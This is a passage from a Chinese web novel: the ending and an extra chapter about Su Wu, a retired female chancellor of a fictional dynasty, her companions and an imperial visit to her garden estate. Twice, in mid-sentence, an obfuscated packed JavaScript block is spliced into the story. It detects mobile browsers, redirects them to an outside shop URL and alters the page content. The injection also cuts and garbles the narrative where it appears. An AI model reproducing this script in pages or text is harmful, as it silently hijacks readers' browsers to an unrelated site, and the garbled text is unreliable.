景和帝看着苏芜，眼中满是不舍，却也知她半生辛劳，如今想要归宁，亦是情理之中。他沉默许久，终是叹了口气：“苏相半生为大靖，为百姓，功高盖世，朕本想封你为一字并肩王，让你荣宠一生，却知你素来淡泊名利。既你执意归宁，朕便准了，只是朕不舍你离京，便将京郊的芜园赐你，园中亭台楼阁，药圃绣坊皆备，可容你安度余生。朕封你为‘锦宁大长公主’，食邑万户，仪仗同亲王，虽卸官职，却仍可入宮议事，大靖的百姓，永远记着你的恩情。” 苏芜俯身叩首，声音微颤：“臣，谢陛下隆恩。” 景和帝亲自扶起她，眼中含着泪光：“苏相，此去芜园，若有任何需求，只管传信入宫，朕必一一满足。大靖的江山，因你而盛，朕此生，必不负你半生心血。” 苏芜的辞呈，传遍了朝堂，也传遍了京城。满朝文武纷纷上书挽留，百姓们更是自发地聚在宫门外，请求苏芜留任，就连西北的党项部落、南洋的商户，也派人送来书信，恳请苏芜继续执掌商部。只是苏芜去意已决，一一婉拒，只说，盛世已成，当让贤于后辈。 大年三十，除夕。 芜园里张灯结彩，红绸挂在亭台楼阁之间，雪光映着红灯，暖融融的。园中的正厅里，摆着一大桌宴席，温庭远、青禾、王大、赵老、林薇，还有惜春坊的几位老绣娘，惠民商社的几位老掌柜，皆是苏芜半生相伴的人，如今齐聚一堂，共度除夕。 温庭远端着酒杯，站起身来，对着苏芜笑道：“苏芜，今日除夕，亦是你归宁之日，老臣敬你一杯。半生风雨，你从尘泥里走出，一手缔造大靖盛世，一手撑起寒门与女子的天，这份功绩，千古无二。愿你此后，芜园安度，锦岁长明。” 众人皆起身，端着酒杯，齐声道：“愿相爷（苏姑娘）芜园安度，锦岁长明！” 苏芜也端起酒杯，看着眼前的众人，眼中满是暖意与感动。数十年的相伴，他们从陌路到亲人，从风雨同舟到盛世同欢，这半生的路，若没有他们，她走不到今日。她举杯，一饮而尽：“多谢诸位，半生相伴，不离不弃。这杯酒，敬过往，敬盛世，敬我们，岁岁年年，皆能平安顺遂。” 酒过三巡，菜过五味，青禾牵着几个惜春坊的小孤女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青禾始终陪伴在苏芜身边，打理着芜园的一切，偶尔会去京城的惜春坊与惠民商社看看，将最新的消息告诉苏芜。王大依旧统领着芜锦卫，只是芜锦卫的职责，从护驾平乱，变成了守护各地的惜春坊与惠民商社，成为了寒门百姓与孤女的守护者。赵老将惠民商社的事务交予了寒门出身的后辈，自己则居于京城的惠民商社总坛，偶尔会来芜园，与苏芜闲谈商情。林薇则统领着全国的惜春坊，将苏芜的理念，传遍了大靖的每一个角落，让更多的孤女，有了枝可依。 数年后，苏芜年过半百，依旧精神矍铄。芜园的药圃里，种满了草药，绣坊里，总有孤女的欢声笑语。每年的新年，各地的惜春坊与惠民商社，都会派人来芜园拜年，带来各地的消息：江南的绣品卖到了西洋，西北的良马成为了大靖的军资，岭南的市舶司千帆竞渡，京城的义学里，寒门子弟济济一堂，惜春坊的孤女，有的成了官署的主事，有的成了南洋的商户，有的成了西北的绣坊师傅，皆活成了自己想要的模样。 这一日，春日融融，芜园的桃花开得正盛。苏芜坐在桃花树下，看着几个小孤女在绣坊里刺绣，青禾端着一杯清茶，走到她身边，轻声道：“苏姑娘，景和帝派人来报，说今年的科举，特开了女科，允许女子参加科举，入朝为官。” 苏芜接过清茶，喝了一口，桃花落在她的杯沿，眉眼间满是温柔的笑意：“好，好啊。” 这便是她最终的心愿。女子不必再依附男子，不必再困于深宅，可读书，可科举，可入朝，可经商，可凭着自己的努力，活成任何想要的模样。这盛世，不仅是国泰民安的盛世，更是人人平等的盛世，是寒门有希望，女子有未来的盛世。 桃花纷飞，落了苏芜一身，她抬手拂去肩上的花瓣，目光望向远方的天空，眼中满是平和与安宁。 半生风雨，半生荣光，她从尘泥里走来，活成了自己的光，也活成了万千人的光。她用自己的一生，诠释了什么是真正的独立，什么是真正的强大，什么是真正的巾帼传奇。 而她缔造的盛世，她种下的希望，如这满园的桃花，岁岁年年，常开不败；如这大靖的江山，千秋万代，锦绣长明。 尘间玉碎，终得重圆；盛世锦绣，岁岁长明。 这便是苏芜的一生，一曲属于寒门女子的传奇，一曲属于大靖盛世的赞歌，在岁月的长河中，缓缓流淌，永不落幕。 11. 岁岁年年，春满芜园[番外] 景和十五年，春分。 京郊的芜园，早被春日揉得软润。十里桃林开得如云似霞，粉白的花瓣簌簌落在青石路上，沾了朝露的清甜；药圃里的薄荷、艾草冒了新绿，嫩生生的叶尖挑着水珠；绣坊的窗棂敞着，穿针引线的脆响混着少女们的笑语，飘得满园都是。 苏芜年近花甲，鬓边染了霜白，却依旧精神矍铄。她坐在桃树下的石桌旁，手捧一卷泛黄的《商政辑要》，指尖轻轻拂过书页上的批注——那是她当年执掌商部时，一字一句写下的新政细则，如今已成了大靖商署的必读典籍。石桌上摆着一杯温茶，水汽袅袅，映着她平和的眉眼，岁月在她脸上刻下的，不是沧桑，而是阅尽千帆后的温润。 “师姑，您歇会儿吧，这书看了一上午了。”一个梳着双丫髻的小姑娘端着一碟桃花酥走来，眉眼弯弯，正是惜春坊今年送来芜园学绣的孤女，名唤桃夭。她将桃花酥放在石桌上，又替苏芜添了热茶，“青禾姑姑说，春日里不宜久坐，让您去绣坊看看我们新绣的‘百鸟朝凤图’。” 苏芜合上书，笑着揉了揉桃夭的发顶：“倒是难为青禾，总记着这些。” 桃夭挽着她的胳膊起身，叽叽喳喳地说着绣坊的新鲜事：“师姑，您不知道，林薇姑姑昨天从江南来，带来了苏州惜春坊的新绣样，那苏绣的针脚细得跟牛毛似的，我们看了都惊着了！还有，惠民商社的王叔派人送了新茶，说是今年西湖的明前龙井，就给您留了两斤呢！” 苏芜听着，嘴角的笑意不曾散去。这些年，那些相伴半生的人，依旧把她放在心上。 青禾就守在芜园，鬓边也添了白发，却依旧手脚麻利，将园子里的大小事务打理得井井有条。她不再是当年那个跟在苏芜身后的小侍女，而是成了芜园的主母，成了所有惜春坊孤女的“青禾姑姑”，替苏芜照看着这一方天地，也照看着那些如当年的她们一般，渴望有枝可依的女孩。 王大依旧统领着芜锦卫，只是早已不复当年的骁勇，脊背微驼，却依旧每日亲自巡查各地的惜春坊与惠民商社。他总说，苏相把这些孩子和商户交给他，他便要守到闭眼的那天。每年春分，他都会亲自送最新的茶酒来芜园，陪苏芜坐一坐，说些外头的事，话不多，却都是真心。 赵老已是耄耋之年，腿脚不便，便长居京城惠民商社总坛，却依旧记挂着苏芜。每年商部的新政明细、各地商情的汇总，他都会让人仔仔细细抄一份送到芜园，哪怕知道苏芜早已不问朝政，却还是想让她看看，她当年一手缔造的商业盛世，如今愈发繁茂。 林薇则成了全国惜春坊的总领，常年奔走在各地，将苏芜的理念刻进每一处惜春坊。她为孤女们建绣坊、开药铺、设商学，教她们技艺，更教她们独立——就像当年苏芜教她的那样。江南的绣娘、岭南的药姑、西北的商女，皆认她这个“林统领”，也皆念着芜园里的那位苏师姑。 温庭远归居江南后，便在苏州惜春坊旁建了一处小园，每日养花种草，与惜春坊的老绣娘闲谈。他与苏芜偶有书信往来，信中从无朝政，只说江南的烟雨、苏州的绣品、园子里的新茶。去年冬日，他派人送来一幅亲手画的《江南春早图》，画中烟雨楼台，惜春坊的绣娘在廊下刺绣，眉眼温柔，题字曰：“盛世如你所愿，余生安度便好。” 苏芜走到绣坊前，推开门，暖意扑面而来。十几名少女围坐在绣架旁，手中的丝线翻飞，五彩的绣线在素色的锦缎上勾勒出百鸟朝凤的模样，针脚细密，栩栩如生。林薇正站在一旁指点，见苏芜进来，连忙上前见礼：“师姑。” 少女们也纷纷起身，齐声唤道：“苏师姑。” 苏芜摆了摆手，让她们继续绣，自己走到一个绣架旁，看着锦缎上的凤凰，指尖轻轻点在一处针脚：“这里的盘金绣，线可以再松一点，凤凰的尾羽才会有飘逸的模样。” 那绣娘连忙点头，依着苏芜的指点调整针脚，果然，凤凰的尾羽瞬间生动了许多。少女们围过来，听苏芜讲绣技，讲当年她在锦绣阁做杂役时，如何偷偷学绣，如何靠着一根绣针，走出了第一步。 苏芜讲得平淡，少女们却听得入神。她们知道，眼前这位温和的老人，便是那名震天下的锦宁大长公主，是大靖第一位女尚书、女宰辅，是一手缔造盛世的巾帼传奇。可在她们眼里，她只是苏师姑，是教她们绣技、教她们做人，给她们一个家的老人。 晌午时分，芜园的门被推开，景和帝带着太子微服而来。如今的景和帝已是沉稳的帝王，将大靖治理得愈发繁荣，太子年方十岁，眉眼间有景和帝的沉稳，也有少年的灵动。 君臣相见，无甚繁文缛节，景和帝亲自扶着苏芜坐下，笑道：“皇姑母，朕今日带太子来，一是陪您坐坐，二是让太子学学，何为真正的家国天下。” 太子规规矩矩地给苏芜行礼，脆声道：“皇姑祖母安。” 苏芜笑着拉过太子的手，摸了摸他的头：“陛下有心了。太子天资聪颖，将来必是明君。” 几人坐在桃树下，闲谈家常。景和帝说起今年的朝事：女科科举已开了十余年，如今朝堂之上，已有三位女官位列五品，各地的官署、商署，女子主事者数不胜数；惠民商社的商船已开到了西洋，大靖的绣品、瓷器在西洋大受欢迎，西洋的珍宝、作物也传入大靖，百姓的日子愈发红火；西北党项部落已完全融入大靖，拓跋氏的子弟在朝为官，与汉民通婚，亲如一家；岭南的海疆安宁，市舶司的千帆竞渡，成了大靖盛世的一道风景。 “这一切，皆是皇姑母半生心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239938|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血。”景和帝看着苏芜，眼中满是敬重，“朕常对太子说，大靖的盛世，不是朕一个人的，是皇姑母，是温太傅，是所有为百姓谋福祉的人，一同拼出来的。” 苏芜摇了摇头，目光望向满园的春色，望向绣坊里的少女，望向远方的天地：“这盛世，从不是某一个人的功劳，是君臣同心，是朝野共济，是天下百姓，皆盼着太平，皆愿为盛世出力。我不过是做了自己该做的事，守了自己该守的初心。” 太子歪着头，看着苏芜：“皇姑祖母，您当年做商部尚书，是不是很威风？” 苏芜笑了，想起当年金銮殿上，她身着朝服，手持笏板，与百官议事，与世家抗衡，想起当年南下江南、西征西北，金戈铁马，雷厉风行。那是她的半生，轰轰烈烈，光芒万丈。 可如今，她守着这一方芜园，看着桃花年年开，看着孤女们一个个长大，一个个走出芜园，活成独立的模样，活成自己的光——这平淡的岁月，竟比当年的轰轰烈烈，更让她心安。 “威风吗？”苏芜轻声道，“或许吧。但我如今觉得，看着你们平平安安，看着天下百姓安居乐业，看着这盛世岁岁年年，才是最珍贵的。” 午后的阳光透过桃枝，洒下斑驳的光影，落在石桌上，落在苏芜的发顶，落在太子好奇的眉眼间。绣坊的笑语依旧，药圃的新绿依旧，满园的桃花依旧，岁岁年年，春满芜园。 景和帝带着太子离开时，太子回头看着芜园的桃花，拉着景和帝的手道：“父皇，我以后也要像皇姑祖母一样，做一个为百姓谋福祉的帝王。” 景和帝笑着点头，望向芜园的方向，眼中满是温柔。他知道，苏芜从未真正离开，她的精神，她的初心，早已融进了大靖的万里江山，融进了每一个百姓的心里，融进了这岁岁年年的盛世春光里。 夕阳西下，桃林的花瓣簌簌飘落。苏芜坐在石桌旁，青禾为她添上热茶，林薇陪着她看绣坊的少女收工，桃夭挽着她的胳膊，说着明日要学的新绣样。 晚风拂过，带着桃花的清香，带着绣线的软香，带着岁月的静好。 苏芜抬眸，望向天边的晚霞，晚霞染红了半边天，映着远处的京城，映着大靖的万里江山，一派国泰民安，一派锦绣繁华。 她的一生，从尘泥里走来，历经风雨，终得圆满。她活成了自己的光，也活成了万千人的光；她缔造了盛世，也守护了盛世；她种下了希望，这希望，便在岁岁年年的春光里，常开不败，生生不息。 芜园的桃花，年年岁岁，开得如云似霞。 大靖的盛世，岁岁年年，锦绣长明。 而那些关于她的故事，关于寒门女子的传奇，关于盛世的赞歌，也将在岁月的长河中，永远流传，永不落幕。